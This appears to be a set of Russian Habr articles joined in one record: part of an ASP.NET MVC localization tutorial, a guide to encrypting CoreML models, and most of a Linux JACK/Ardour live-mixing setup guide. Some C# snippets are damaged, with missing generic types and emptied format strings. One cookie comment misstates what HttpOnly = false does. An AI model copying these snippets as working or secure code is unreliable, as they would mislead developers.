Теперь я сгенерирую контроллер и все действия (Actions) автоматически, получилось немного страшновато, поэтому придётся добавить стилей, правда я бы рекомендовал использовать несколько другой подход для генерации. Объединение создания и редактирования в одном представлении, например, как тут: [Непутевые заметки о ASP.NET MVC. Часть 1 (и единственная)](http://habrahabr.ru/post/143024/), что уберет одно представление, старайтесь, чтобы у Вас было как можно меньше «копипаста».
В итоге у нас получилась такая таблица:
Переходим к ResourceProviderFactory, немного погуглив я нашёл довольно старую статью в MSDN [Extending the ASP.NET 2.0 Resource-Provider Model](http://msdn.microsoft.com/en-us/library/aa905797.aspx), а также описание [ResourceProviderFactory Class](http://msdn.microsoft.com/en-us/library/system.web.compilation.resourceproviderfactory.aspx) с примером реализации, но уже для 4-го фреймворка. На том же codeproject есть готовый пример, который тоже можно взять за основу: [ASP.NET 2.0 Custom SQL Server ResourceProvider](http://www.codeproject.com/Articles/14190/ASP-NET-2-0-Custom-SQL-Server-ResourceProvider).
Создадим теперь класс для хранения переводов:
```
public class GlobalizationResource
{
public int GlobalizationResourceId { get; set; }
[Required]
[StringLength(128)]
public string ResourceObject { get; set; }
[Required]
[StringLength(128)]
public string ResourceName { get; set; }
[Required]
[StringLength(5)]
public string Culture { get; set; }
[Required]
[StringLength(4000)]
public string ResourceValue { get; set; }
}
```
И не забудьте его добавить в контекст БД. У меня получилась средняя реализация между codeproject и примером из MSDN, код можно скачать в конце статьи, так как там около 150 строк. И добавим провайдера в конфиг:
```
...
```
Всё бы ничего, но чтобы проверить работу локализации нам нужна возможность выбора языка, для хранения локализации я буду использовать куки (сессию я бы не советовал использовать, так как вряд ли пользователь обрадуется зайдя через 20 минут (стандартное время жизни насколько я помню) на сайт, что опять нужно выбирать язык). За основу возьмём идею с сайта afana.me и получим такой вот класс:
```
public static class CultureHelper
{
private static readonly List Cultures = new List {
"ru-RU", // first culture is the DEFAULT
"en-US",
};
///
/// Returns a valid culture name based on "name" parameter. If "name" is not valid, it returns the default culture "en-US"
///
/// Culture's name (e.g. en-US)
public static string GetValidCulture(string name)
{
if (string.IsNullOrEmpty(name))
return GetDefaultCulture(); // return Default culture
if (Cultures.Contains(name))
return name;
// Find a close match. For example, if you have "en-US" defined and the user requests "en-GB",
// the function will return closes match that is "en-US" because at least the language is the same (ie English)
foreach (var c in Cultures)
if (c.StartsWith(name.Substring(0, 2)))
return c;
return GetDefaultCulture(); // return Default culture as no match found
}
public static string GetDefaultCulture()
{
return Cultures.ElementAt(0); // return Default culture
}
public static string GetCultureFromCookies(HttpRequest request)
{
string cultureName = null;
// Attempt to read the culture cookie from Request
HttpCookie cultureCookie = request.Cookies["\_culture"];
if (cultureCookie != null)
{
cultureName = cultureCookie.Value;
}
else if (request.UserLanguages != null)
{
cultureName = request.UserLanguages[0]; // obtain it from HTTP header AcceptLanguages
}
// Validate culture name
return GetValidCulture(cultureName); // This is safe
}
private static string AcceptLanguage()
{
return HttpUtility.HtmlAttributeEncode(System.Threading.Thread.CurrentThread.CurrentUICulture.ToString());
}
public static IHtmlString MetaAcceptLanguage(this HtmlHelper html)
{
return new HtmlString(String.Format(@"", AcceptLanguage()));
}
public static IHtmlString GlobalizationLink(this HtmlHelper html)
{
return new HtmlString(String.Format(@"",
AcceptLanguage()));
}
}
```
Теперь нам осталось добавить действия для установки и чтения куков:
```
public ActionResult SetCulture(string culture)
{
// Validate input
culture = CultureHelper.GetValidCulture(culture);
// Save culture in a cookie
HttpCookie cookie = Request.Cookies["_culture"];
if (cookie != null)
{
cookie.Value = culture; // update cookie value
}
else
{
cookie = new HttpCookie("_culture");
cookie.HttpOnly = false; // Not accessible by JS.
cookie.Value = culture;
cookie.Expires = DateTime.Now.AddYears(1);
}
Response.Cookies.Add(cookie);
return RedirectToAction("Index");
}
```
А также логику в Global.asax для утановки культуры и проверки GetVaryByCustomString для того, чтобы использовать кэширование.
```
protected void Application_AcquireRequestState(object sender, EventArgs e)
{
string cultureName = CultureHelper.GetCultureFromCookies(Request);
// Modify current thread's culture
Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture(cultureName);
Thread.CurrentThread.CurrentUICulture = CultureInfo.CreateSpecificCulture(cultureName);
}
public override string GetVaryByCustomString(HttpContext context, string arg)
{
// It seems this executes multiple times and early, so we need to extract language again from cookie.
if (arg == "culture") // culture name (e.g. "en-US") is what should vary caching
{
string cultureName = CultureHelper.GetCultureFromCookies(Request);
return cultureName.ToLower();// use culture name as cache key, "es", "en-us", "es-cl", etc.
}
return base.GetVaryByCustomString(context, arg);
}
```
**Пару слов о логике перевода:** у меня в базе данных будет храниться язык по умолчанию, т.е. просто объект Product, но когда я захочу добавить ему перевод я напишу в представлении:
```
@(Culture == "ru-RU" ? item.Name : HttpContext.GetLocalResourceObject("/Home/Index", "Product_" + item.ProductId))
```
Что автоматически добавит значение по умолчанию в БД. Первый параметр похож на путь лишь для наглядности, там может быть любая последовательность символов (ограниченная правда 128 в БД для нашего объявления), второй это уникальный идентификатор.
В Layout добавляем возможность выбора языка:
```
@Html.ActionLink("rus", "SetCulture", "Home", new { culture = "ru-RU" }, null)
@Html.ActionLink("eng", "SetCulture", "Home", new { culture = "en-US" }, null)
```
Можно запускать, но не тут то было, я поменял контекст (добавил класс для ресурсов) и теперь EF отказывается выводить данные из таблицы. Идём в **View** -> **Other Windows** -> **Package Manager Console** и вводим (каждая строка отдельно):
```
Update-Package EntityFramework
Enable-Migrations
```
теперь можно создать миграцию и обновить базу:
```
Add-Migration AddGlobalizationResources
Update-Database
```
Но тут нас ждёт огорчение, студия говорит, что мы создали БД с более старым EF, где нет истории миграции, поэтому, чтобы руками не удалять нашу базу, добавим в Index такую строчку (если вы противник миграции, то правильнее её добавлять в Application\_Start, но помните, что это удаляет все данные):
```
Database.SetInitializer(new DropCreateDatabaseIfModelChanges());
```
После компиляции и обращения к нему, удалим её, так как в последующем мы сможем наслаждаться всеми плюшками миграции: [EF 4.3 Automatic Migrations Walkthrough](http://blogs.msdn.com/b/adonet/archive/2012/02/09/ef-4-3-automatic-migrations-walkthrough.aspx).
Результат нашей работы будет выглядеть так:
Английский вариант создаётся в БД автоматически, русский же вариант храниться в Product. Логику редактирования БД я оставлю Вам, там нет ничего сложного.
### Клиентская валидация
При переключении языка у нас возникает проблема с decimal и Datetime. Для русского языка мы имеем «4,00», а для английского это «4.00». Даты тоже имеют проблемы: «21.12.2012» и «12/21/2012». Для решения этих проблем мы воспользуемся [globalize](http://github.com/jquery/globalize) и подключим jquery ui datapicker, чтобы задавать формат автоматически и упростить ввод дат.
Добавим в Layout следующее («ядро» глобализации, глобализия для конкретного языка, мета тег для клиентской части и общие скрипты для валидации чисел и изменения jquery ui datapicker):
```
@Html.GlobalizationLink()
@Html.MetaAcceptLanguage()
```
Это лишь малая часть клиенской валидации, пример локализации можно посмотреть тут: [ASP.NET MVC 3 Internationalization — Part 2 (NerdDinner)](http://afana.me/post/aspnet-mvc-internationalization-part-2.aspx)
### Итог
Я рассказал как можно создать свой собственный провайдер ресурсов, создал небольшое приложение демонстрирующее его работу и поделился ссылками где можно прочитать больше информации по данной теме. Как пишет Jon Skeet в своей книге «C# in Depth», что приведенный здесь код — это лишь примеры, я не гарантирую, что код, который Вы возьмете отсюда будет у Вас работать. У меня используется полное кэширование перевода, скорее всего Вам нужно будет загружать перевод постепенно, если будет большой объём информации, устанавливать время жизни и т.д. Помните, что при редактировании перевода нужно обязательно чистить кэш, чтобы данные отобразились сразу (это когда Вы будете реализовывать логику редактирования перевода).
[](http://www.codinghorror.com/blog/2007/03/the-works-on-my-machine-certification-program.html)
Проект можно скачать тут (Visual studio 2010): [ссылка (2,89 Мб)](http://dl.dropbox.com/u/22107844/DbLocalizationExample.zip) (пример лишь демонстрирует локализацию динамики, добавить перевод статики на порядок проще, поэтому код содержит лишь описанное в статье)
### Источники
#### Ссылки
[Extending the ASP.NET 2.0 Resource-Provider Model](http://msdn.microsoft.com/en-us/library/aa905797.aspx)
[ResourceProviderFactory Class](http://msdn.microsoft.com/en-us/library/system.web.compilation.resourceproviderfactory.aspx)
[ASP.NET 2.0 Custom SQL Server ResourceProvider](http://www.codeproject.com/Articles/14190/ASP-NET-2-0-Custom-SQL-Server-ResourceProvider)
[ASP.NET MVC 3 Internationalization](http://afana.me/post/aspnet-mvc-internationalization.aspx)
[ASP.NET MVC 3 Internationalization — Part 2 (NerdDinner)](http://afana.me/post/aspnet-mvc-internationalization-part-2.aspx)
#### Книги
Freeman A. Sanderson S. — Pro ASP.NET MVC 3 Framework Third Edition — 2011
Julia Lerman and Rowan Miller — Programming Entity Framework:Code First — 2012
**Примечание:** Если Вы будете делать локализацию по данном руководству [ASP.NET MVC 3 Internationalization](http://afana.me/post/aspnet-mvc-internationalization.aspx), то Вам следует помнить, что в MVC 4 ExecuteCore не работает [ExecuteCore() in base class not fired in MVC 4 beta](http://forums.asp.net/t/1776480.aspx/1?ExecuteCore+in+base+class+not+fired+in+MVC+4+beta) . | https://habr.com/ru/post/143204/ | null | ru | null |
# Шифруем CoreML
ML модели, как и многие другие формы интеллектуальный собственности, подвержены риску быть украденными и использованными без ведома автора. В случае с CoreML большинство моделей зашиты внутри приложения. Достаточно взять Jailbreak девайс, прочитать содержимое бандла и вытащить модель. Подобрать инпут модели уже дело техники и некоторого количества времени. В свое время на практике подобный подход я использовал для сравнения качества нашей ML модели с моделями конкурентов. В этой статье я хотел бы поделиться возможными способами шифрования CoreML моделей.
мое лицо, когда я находил незашифрованную модельВ 2020 году Apple представила удобный способ деплоя и шифрования CoreML моделей с помощью Apple Cloud. Это довольно мощный инструмент, который дает нам следующие возможности:
* **Independent development**. Возможность обновлять модели на девайсах юзеров без апдейта приложения
* **Model collections.** Возможность объединять модели в коллекции и гарантировать их консистентное обновление. Удобно для случая, когда для одной фичи используется несколько моделей.
* **Targeted deployments.** Возможность поставлять разные ML модели в зависимости от правил: девайса, версии iOS и т.д.
* **Model encryption.** Возможность поставлять модель в зашифрованном виде
### Apple Encryption
Остановимся подробней на последнем пункте. Рассмотрим шаги для шифрования ML модели, которую мы будем поставлять вместе с бандлом приложения.
1. Сначала нам нужно сгенерировать ключ для нашей модели и сохранить его на диске. Для в Project Navigator выбираем нашу модель. Открываем вкладку Utilities и нажимаем Create Encryption Key. В появившемся окне нужно выбрать именно ту команду, под которой мы будем релизить приложение. Нажимаем Continue. Ключ будет сгенерирован и сохранен на диске.
2. Далее нам нужно указать для Xcode, что мы хотим во время сборки нашего приложения при компиляции модели зашифровать ее с нашим ключом. Для этого выбираем таргет нашего приложения, идем Build Phases -> Compile Sources и добавляем для нашей модели в Compiler Flags: `--encrypt $KeyPathOnDisk`.
3. Готово. Модель зашифрована. Теперь осталось обратиться к ней в коде таким образом, чтобы мы смогли ее дешифровать. Для этого вместо `init` метода для создания MLModel нужно использовать асинхронный метод `load`, который появился в iOS 14. Ключ, который мы использовали для шифрования, в момент создания сохраняется в Apple Cloud. В момент первого обращения к `load` он скачивается и сохраняется локально на девайсе. Поэтому очень важно, чтобы в момент первого обращения был доступ к сети. При вызове `load` модель дешифруется и загружается в память. На диске же по-прежнему остается зашифрованная ML модель.
```
MLModel.load(contentsOf: modelURL) { result in
switch result {
case .success(let loadedModel):
print("Successfully loaded model \(loadedModel).")
// Use the loaded model for predictions.
// ...
case .failure(let error):
print("Error loading model: (error).")
}
}
```
В случае, если мы планируем для доставки модели использовать Apple Cloud, нам нужно выполнить те же шаги, за исключением шага 2. Нам не нужно шифровать модель во время ее компиляции, но нужно во время создания архива. Для этого в диалоговом окне создания архива нам нужно выбрать Encrypt Model и указать путь до нашего ключа
### Custom Encryption
Для большинства случаев решение от Apple отлично работает, но бывают исключения, когда приходится задуматься над кастомным решением. Основная причина для этого - кастомный деплой ML моделей, когда нам нужно поставлять ML модели с наших серверов. Несколько возможных причин для этого:
1. Необходимость более тонкой настройки таргетирования моделей
2. В компании существует централизованный процесс хранения и апдейта ресурсов приложения, а также требование ему следовать.
3. A/B тестирование моделей.
4. Внутренние политики безопасности компании, не позволяющие хранить контент, представляющий интеллектуальную ценность, на серверах Apple.
5. Поддержка iOS 13 и ниже.
Технически можно пойти по пути, когда мы шифруем модель, чтобы ее забандлить, но по факту не бандлить ее, а доставать зашифрованную, скомпилированную модель и загружать ее на наши сервера. Однако при таком решении, помимо отсутствия возможности автоматизировать процесс деплоя ML модели, значительно повышается риск ошибки, в силу того, что ключ мы будем хранить в Apple Cloud, а саму модель - на наших серверах.
Давайте рассмотрим возможное решение, если перед нами встала задача кастомного шифрования.
1. Так как модель представляет собой папку, поэтому первым шагом, нам нужно ее заархивировать и получить 1 файл. Для этого можно использовать zip, tar или любой другой архиватор.
2. Далее нам нужно зашифровать наш файл. Для этого можно использовать популярный `aes256` либо любой другой алгоритм.
3. Зашифрованную модель бандлим в приложение или заливаем на бэкенд.
4. Далее нам нужно придумать способ доставки ключа на клиент. Тут возможны варианты:
1. Обфусцировать ключ и захардкодить его на клиенте. Обращаться к ключу при этом стоит как можно ближе к моменту расшифровки модели и сразу после этого его релизить, чтобы минимизировать время нахождения целого ключа в памяти. Для обфускации можно воспользоваться
<https://github.com/pjebs/Obfuscator-iOS> или <https://github.com/UrbanApps/UAObfuscatedString>
2. Можно залить ключ на бэкенд и получать его с помощью запроса в нужный момент.
[UPD 25.11.22] [@house2008](/users/house2008)сделал хорошее замечание, что для этого метода есть риск того, что на Jailbreak девайсе можно отключить ssl pining и прочитать ключ из ответа бэкенда.
3. Чтобы максимально усложнить жизнь взломщику можно использовать комбинированный подход и разбить ключ на две части. Одну захардкодить, а другую получать с бэкенда. Опять же важно минимизировать время полного ключа в памяти приложения.
5. Теперь дешифрование. Во время работы приложения в момент первого обращения к модели за сессию приложения берем зашифрованную модель на диске (предварительно скачиваем если нужно), получаем ключ, дешифруем модель, релизим из памяти ключ, разархивируем модель и сохраняем во временную папку, например: `NSTemporaryDirectory()/YourFolder/`
6. Инициализируем модель и загружаем ее в память c помощью `init` метода `MLModel`
7. Удаляем временную папку.
Конечно это не 100% защита и небольшую часть времени во время работы приложения у нас оказывается на диске незашифрованная модель. Но все же это гораздо лучше, чем не шифровать модель вообще, и усложняет жизнь желающим воспользоваться вашей моделью.
### Итого
Мы рассмотрели два подхода к шифрованию CoreML моделей. Какой способ выбрать и стоит ли вообще тратить время на шифрование как водится каждый решает для себя исходя из задач. Всем добра.
### Ссылки
Скриншоты взяты из [презентации Apple](https://developer.apple.com/videos/play/wwdc2020/10152/) | https://habr.com/ru/post/701462/ | null | ru | null |
# Микшерный пульт из USB-звучки и опенсорса
Иногда у меня, как у звукача аниме/гик фестивалей/конвентов, появляется задача обеспечить звуком небольшой ивент, на площадке которого нет вообще ничего из оборудования. Такие патички довольно лайтовы и располагают к экспериментам. Так, для нашего осеннего опенэйра я выбрал следующий (весьма непривычный) опенсорсный сетап, который в итоге отлично сработал:
* Колонка 50 Вт
* Два микрофона
* Аудиоинтерфейс из серии [BEHRINGER U-PHORIA](https://www.behringer.com/catalog.html?catalog=Range&category=R-BEHRINGER-UPHORIASERIES)
* Ноутбук на линуксе
* [Ardour](https://ardour.org) в качестве микшера и хоста плагинов
* [Calf Studio Gear](https://calf-studio-gear.org/) для обработки звука
* [JACK](https://jackaudio.org) в качестве звукового сервера
* [VLC](https://www.videolan.org/vlc) в качестве основного плеера
Идея делать микшер из простейшего аудиоинтерфейса на опенсорсном софте мне настолько понравилась, что я решил поделиться.
Why?
====
1. Это интересно и познавательно! Вы можете сделать свой собственный FOSS-микшер [не хуже](#extra) серьёзных девайсов.
2. Можно использовать [почти любые](https://manual.ardour.org/working-with-plugins/) плагины.
3. Не надо арендовывать и таскать дополнительную бандуру (аппаратный микшер).
4. Меньше проводов => меньше шумов.
5. Полностью всё управление шоу в одном месте. Простор для автоматизации a-la [QLab](https://qlab.app/).
Однако, это же и минус: если посреди шоу выходит из сторя ноут, то наступает полный блэкаут. Даже микрофоны перестают работать. Решения нет: надо эксплуатировать аккуратно, много тестить до ивента и подготовить резервный ноут...
RealTime Linux Kernel
=====================
Обработка живого звука на бытовом железе обычно связана с одним неприятным эффектом: задержкой вывода. Чем больше задержка, тем сложнее человеку говорить в микрофон, так что, для комфортной работы ведущих, необходимо её минимизировать. Задержка вызвана буферизацией, а уменьшение буфера приводит к его периодическому опустошению или переполнению (xrun), что звучит как 100-1000мс громкого треска, то есть, неприемлемо.
С обычным ядром Linux, xrun'ы у меня возникают примерно раз в пару минут даже при очень большом буфере. Не знаю с чем это связано, но так точно не пойдёт. Можно было бы докопаться до сути и собрать своё ядро без лишнего мусора, однако, наиболее простым plug-and-play решением является [Real-Time ядро Linux](https://rt.wiki.kernel.org/index.php/Frequently_Asked_Questions). На сайте JACK [пишут](https://jackaudio.org/faq/linux_rt_config.html), что RT-режим звукового сервера работает даже на обычном ядре, но точно не из коробки. Первое, что мы сделаем для подготовки системы к обработке живого звука — установим RT-ядро и перезагрузимся в него:
### TL;DR
```
# Debian
sudo apt update && sudo apt install linux-image-rt
sudo reboot # select the 'rt' kernel in GRUB
# Ubuntu
sudo apt update && sudo apt install linux-lowlatency
sudo reboot # select the 'rt' kernel in GRUB
# CentOS
sudo dnf install centos-release-stream
sudo sed -i 's/enabled=0/enabled=1/' /etc/yum.repos.d/CentOS-Stream-RealTime.repo
sudo dnf install kernel-rt
sudo reboot # select the 'rt' kernel in GRUB
# Ubuntu Studio, AVLinux
sudo reboot # select the 'rt' kernel in GRUB
```
### Longread
* В Debian пакет называется `linux-image-rt`.
* В RHEL-семействе (Fedora, CentOS, etc.) пакет называется `kernel-rt`
+ Придётся подключить дополнительный репозиторий: **CentOS Stream 8 — RealTime** или **Planet CCRMA Core** (для Fedora).
* В Ubuntu от полноценного RealTime отказались по соображениям DoS-безопасности, но там есть квази-realtime ядро: пакет называется `linux-lowlatency`.
+ В Ubuntu Studio и AVLinux, lowlatency kernel установлен по умолчанию.
После установки соответствующего пакета, в Вашем GRUB появится новый пункт с RT-ядром. Для повседневной работы RT-ядро не рекомендуется. На это есть как минимум две причины:
1. Есть опасность, что какое-то приложение специально (или по ошибке) повесит всю систему, нагрузив её на 100% с максимальным приоритетом. Хотя камон, как будто десктопный линукс никогда не фризится на обычном ядре… Но, типа, вероятность меньше. Не думаю, что это прям серьёзный аргумент, однако, именно из-за этого в убунте вообще нет RT-ядра.
2. Некоторые модули ядра могут не поддерживаться. Например, у меня на CentOS 8 в rt-ядре нет Wi-Fi. Иногда это даже удобно: можно с первого взгляза на верхнюю панельку GNOME определить что за ядро сейчас загружено. Однако, в CentOS 8 само ядро [очень недавно добавили](https://www.opennet.ru/opennews/art.shtml?num=53303), так что может чуть позже завезут и модулей.
> Если у Вас пока нет на ноуте никакого линукса, но Вы хотите его поставить ради микшера, лучше выбрать какой-нибудь мультимедиа-ориентированный дистрибутив, где всё уже из коробки оптимизировано под low latency: AVLinux или Ubuntu Studio.
Sound Server
------------
Окей, вы добились работоспособности Real-Time ядра в Вашем дистрибутиве Linux, что дальше?
Далее нам потребуется звуковой сервер: это та программа, которая связывает звуковоспроизводящие (и звукослушающие) программы с "железным" аудиоинтерфейсом. Именно звуковой сервер отвечает за буферизацию (которая приводит к задержке вывода) и коммутацию входов/выходов.
### TL;DR
```
# Debian, Ubuntu
sudo apt update
sudo apt install jackd pulseaudio-module-jack
# CentOS, Fedora
sudo dnf install jack-audio-connection-kit jack-audio-connection-kit-example-clients
# Ubuntu Studio, AVLinux
: # Preinstalled
```
For CentOS: [Disable memory limits](https://gist.github.com/Himura2la/32bd6b60aea5f86f1c0d597a1bc2c97c)
### Longread
Звуковых серверов много. В десктопном линуксе по умолчанию обычно работает связка ALSA+PulseAudio. ALSA ближе к железу, PulseAudio ближе к прикладному ПО. Для простых задач коммутации динамиков и микрофонов в браузеры и дискорды это работает сносно, но, как писал [@merlin-vrn](https://habr.com/ru/users/merlin-vrn/) в комментариях к своей замечательной статье [Интернет-радио с множеством ведущих из разных городов и звонками в прямом эфире](https://habr.com/ru/post/220123/) (которая в далёком 2014м побудила меня заниматься звуком на линуксах),
> I pronouce pulseaudio as pshhrrhrhshrhhhh…
И это отчасти правда даже в 2020-м: во время тестов пару раз у меня возникала ситуация, когда демон PulseAudio вешал всю аудио-подсистему и сильно грузил процессор, хотя никто его вообще не трогал. Если когда-нибудь PulseAudio умрёт, мне кажется, мир станет чуточку лучше ([надежда есть](https://www.opennet.ru/opennews/art.shtml?num=54125)). Я допускаю, что мы просто не умеем его готовить, но чистота архитектуры, производительность, гибкость и удобство [JACK Audio Connection Kit](https://jackaudio.org/) сделало именно его стандартом отрасли проф. аудио на линуксе.
Устанавливаем пакет `jackd` (для [debian](https://packages.debian.org/buster/jackd) и [ubuntu](https://packages.ubuntu.com/focal/jackd); также может называться [jack-audio-connection-kit](https://rpmfind.net/linux/rpm2html/search.php?query=jack-audio-connection-kit) или просто [jack](https://www.archlinux.org/packages/extra/x86_64/jack/)). В системе должна появиться команда `jackd` (jack daemon). В AVLinux и Ubuntu Studio он уже установлен, ничего делать не надо.
Если в Вашем дистрибутиве есть [QjackCtl](https://qjackctl.sourceforge.io/), можете тоже поставить. Эта программа предоставляет GUI к JACK, что помогает его настраивать и коммутировать каналы. Однако мы будем работать без неё, поскольку в CentOS её нет, компилировать лень, и без неё можно обойтись.
Инсталлятор JACK по максимуму подготавливает систему к работе в RealTime, но есть одна вещь, которую он упускает (по крайней мере на CentOS). Если при старте `jackd` или Ardour появляется ворнинг `Cannot allocate memory`, значит не применился лимит на максимальный объем выделенной оперативки. Проверить можно командой `ulimit -l`: если всё ок, она выводит семизначное число не первых миллионов или `unlimited`. По идее, лимиты должны настраиваться файлом `/etc/security/limits.d/95-jack.conf`, который JACK успешно создаёт, но на CentOS при работе в GNOME, лимиты из SystemD почему-то перекрывают лимиты из `/etc/security/limits.conf`, так что нужно их отдельно настроить в `/etc/systemd/`:
```
# cat << EOF > /etc/systemd/user.conf.d/limits.conf
[Manager]
DefaultLimitMEMLOCK=4294967296
EOF
# cat << EOF > /etc/systemd/system.conf.d/limits.conf
[Manager]
DefaultLimitMEMLOCK=4294967296
EOF
# reboot
```
Ardour: Our DAW
---------------
В качестве микшера будем использовать [Ardour](https://ardour.org/). Из альтернатив имеется [Non Mixer](https://non.tuxfamily.org/wiki/Non%20Mixer), но это какая-то совсем отдельная вселенная: я туда не заныривал и слышал, что там пока сыровато. [Ardour](https://ardour.org/) — наш бро. Это бесплатная опенсорсная программа для профессиональной работы со звуком. По возможностям, удобству и дизайну интерфейса она не уступает коммерческим альтернативам под Windows и MacOS, так как у команды разработчиков Ardour [есть финансирование](https://ardour.org/faq.html#libre-free). Схема монетизации Ardour весьма хороша: установщик не-триального Ardour можно скачать только за деньги, а исходный код с минимальными инструкциями по компиляции — бесплатно. Таким образом те, кто не может или не хочет хакать исходники могут [заплатить сколько могут](https://community.ardour.org/download_form) и максимально быстро получить готовую к работе DAW, а те, кто готов поменять деньги на время (и не считают необходимым поддерживать разработчиков) могут самостоятельно скомпилировать программу и пользоваться ей бесплатно. Вот она — настоящая свобода!
Установка из установщика тривиальная, а с запуском сейчас будем разбираться. Ура, наконец-то будут картинки! Запускаем Ardour и создаём новую сессию "Live" из Empty Template (либо Advanced Session, если хочется глубоко вникнуть в роутинг):
Выбираем JACK с какими-нибудь такими настройками:
* Почему 44100?
+ На моей системе `alsa_in` (про него в конце) писал, что ресемплирует, и заставить его работать в 48 kHz не получалось. А если сделать весь пайплайн в 44.1 kHz, удаётся сократить количество бесполезных преобразований. Если можете, используйте 48 kHz: некоторым плагинам это больше нравится, да и задержка меньше. Впрочем, Ваши слушатели гарантированно не почувствуют разницы.
* Почему буфер на 64 сэмпла?
+ Технический минимум — 32 сэмпла. И это даже работает. Однако, с таким маленьким буфером есть немалый шанс словить xrun. При 64 сэмплах, задержка вывода должна составить 1.5 мс. За такое время звук успевает распространиться всего на полметра, так что такая задержка точно не будет заметна. Достаточно подойти на полметра ближе к монитору, чтобы её компенсировать. Если у Вас при тестировании будут возникать xrun'ы, можно безопасно увеличить буфер до 128 сэмплов (что соответствуют 1 метру и на слух неразличимо). Вот 2 метра уже можно заметить на слух, так что с учётом дополнительной задержки от физического распространения звука, лучше не подниматься выше 128 без крайней необходимости.
* Почему 3 периода?
+ Лично я разницы между 2 и 3 не замечал, но в [man jackd](https://linux.die.net/man/1/jackd) пишут что:
> For USB audio devices it is recommended to use -n 3
>
>
Такая конфигурация запишет в файл `cat ~/.jackdrc` примерно следующую команду запуска звукового сервера (отрефакторено для наглядности):
```
/usr/bin/jackd \
--timeout 200 \
--port-max 2048 \
--realtime \
--temporary \
--driver alsa \
--nperiods 3 \
--rate 44100 \
--period 64 \
--device hw:CODEC,0
```
Файл `~/.jackdrc` используется для того, чтобы любое приложение могло при необходимости запустить звуковой сервер и его параметры были в порядке. Если Ardour обнаружит уже запущенный JACKd на момент открытия, то он попытается его использовать и уведомит при расхождении настроек проекта с параметрами работающего сервера. Флаг `--temporary` означает, что звуковой сервер остановится когда от него отключится последний клиент. Возможно Вам будет удобнее держать сервер постоянно запущенным, но это актуально только если Вы полностью отказались от PulseAudio.
Вас встретит пустая DAW. Нужно переключиться в Mixer, скрыть всё лишнее и добавить первый канал:
> Почему добавляем Bus, а не Track?
Чтобы **Track** мониторился в мастере, нужно на нём нажимать кнопку **In** (Monitor input) и следить, чтобы она не слетела. Тем временем, Bus всегда выводится и это невозможно изменить. То, что надо для работы в режиме микшера. Подключать к физическим инпутам можно как **Track**, так и **Bus**. Если у Вас нет и не планируется ни одного **Track**, можно вообще скрыть из интерфейса панельку **Record & Monitor** (у **Bus** в ней синяя кнопка Show Sends, бесполезная в нашем сценарии).
Теперь необходимо подключить добавленный канал к какому-нибудь источнику звука. В меню сразу перечисляются аппаратные входы аудиоинтерфейса, так что подключим его к первому (MIC/LINE 1). Если нужно подключить что-то более глубокое из недр JACK, открываем **Routing Grid** или **QjackCtl**.
> ВНИМАНИЕ! Опасность петли! Если Ваш аудиоинтерфейс подключен к громкой колонке, которая находится рядом с микрофоном, после коммутации будет больно. Лучше уберите громкость в ноль перед коммутацией и плавно поднимайте после неё.
Профит! Звук с микрофона проходит через Ardour, выходит в MASTER и мониторится на выходе звучки.
Аналогичным образом можно добавить остальные каналы Вашего аудиоинтерфейса и накинуть плагинов в соответствующей секции канала.
Говоря о плагинах, также стоит упомянуть отличный хост плагинов [Carla](https://kx.studio/Applications:Carla). Его можно использовать для построения сложных цепочек обработки и контроля графа соединений JACK (вместо **QjackCtl**). Если маленькое окошко в панели канала не удовлетворяет Ваши потребности в удобстве коммутации плагинов, попробуйте **Carla**.
Также, в связи с плагинами, появляется одна мега-важная вещь, о которой почти нереально узнать чисто из практического опыта. Спасибо, [@merlin-vrn](https://habr.com/ru/users/merlin-vrn/), за посвящение в глубокие внутренности цифровой обработки звука. Суть в следующем: при работе с вещественными числами (а JACK работает с вещественными числами), процессору время от времени приходится обрабатывать очень маленькие (по модулю) числа. Для работы с такими числами процессоры используют некий приём под названием [Денормализованные числа](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D0%B8%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%B0), и во многих процессорах этот приём [дико лагает](https://carlh.net/plugins/denormals.php). Его используют потому что он позволяет избежать проблем с точностью (а это, в общем случае, куда важнее). То есть, если число становится меньше определённого порога, арифметические операции с ним могут (при определённых условиях) стать чуть ли не в 100 раз медленнее. При обработке звука, чаще всего маленькое число означает тихий звук, который даже и не слышно, так что критически важно [принять меры для защиты от denormals](https://discourse.ardour.org/t/denormals-and-ardour/78129). В Ardour достаточно [просто подкрутить настроки](https://manual.ardour.org/preferences-and-session-properties/preferences-dialog/#preferences-audio):
Возможно, DC bias — это оверкилл, процессоры чаще всего поддерживают режимы работы округления denormals. Но, зато, безопасно.
У меня для ивента была вот такая раскладка:
* Два микрофона.
+ Оба через лимитер.
+ В беспроводной иногда пели, поэтому там реверб в боевой готовности.
* VLC для основных треков.
+ К каналу VLC умеет подключаться сам, далее описано как это настроить.
* `alsa_in` для системного звука из браузера.
+ Об этом тоже есть отдельный абзац.
+ Подключать его надо вручную через Routing Grid (на скриншоте он ни к чему не подключен).
Всё, классический микшер уже готов. Есть инпуты, у каждого свой фэйдер и кнопка MUTE, есть [обработка](https://calf-studio-gear.org/), есть MASTER OUT и физический разъём к нему (у моей BEHRINGER UM2 даже два: тюльпаны для колонок и джек для мониторинга). Однако, для полного счастья, стоит добавить возможность включать треки с того же компа. Этим и займёмся.
Media Player
------------
Для меня VLC — это плеер по умолчанию для любого медиаконтента. Однако, если Вас не пугают диджейские пульты, можно использовать [Mixxx](https://www.mixxx.org/). В принципе, тогда Ardour и не нужен, в Mixxx есть 4 AUX и 4 MIC входа. Но лично мне комфортнее с классическим микшером и я расскажу про VLC. Ещё есть IDJC, но он уже довольно стар (даже его форк IDJC-X уже много лет не обновляется) и больше адаптирован под интернет-радио (тёплый ламповый Icecast), но может быть Вам будет удобен.
[VLC](https://www.videolan.org/vlc/) умеет работать напрямую через JACK, в нём это реализовано максимально удобно.
То есть, VLC будет автоматически подключать свой аутпут к сорсам, имя которых совпадает с регуляркой `VLC`. Можно просто указать подходящую строку в качестве имени канала в Ardour, и VLC сам подключатся к этому каналу при попытке что-то воспроизвести. Максимально удобно и надёжно.
Главное потом не забыть вернуть на PulseAudio или ALSA, когда через недельку захотите посмотреть видос, а звук работать не будет.
System Sound
------------
> Нафига вообще вводить звук из браузера?
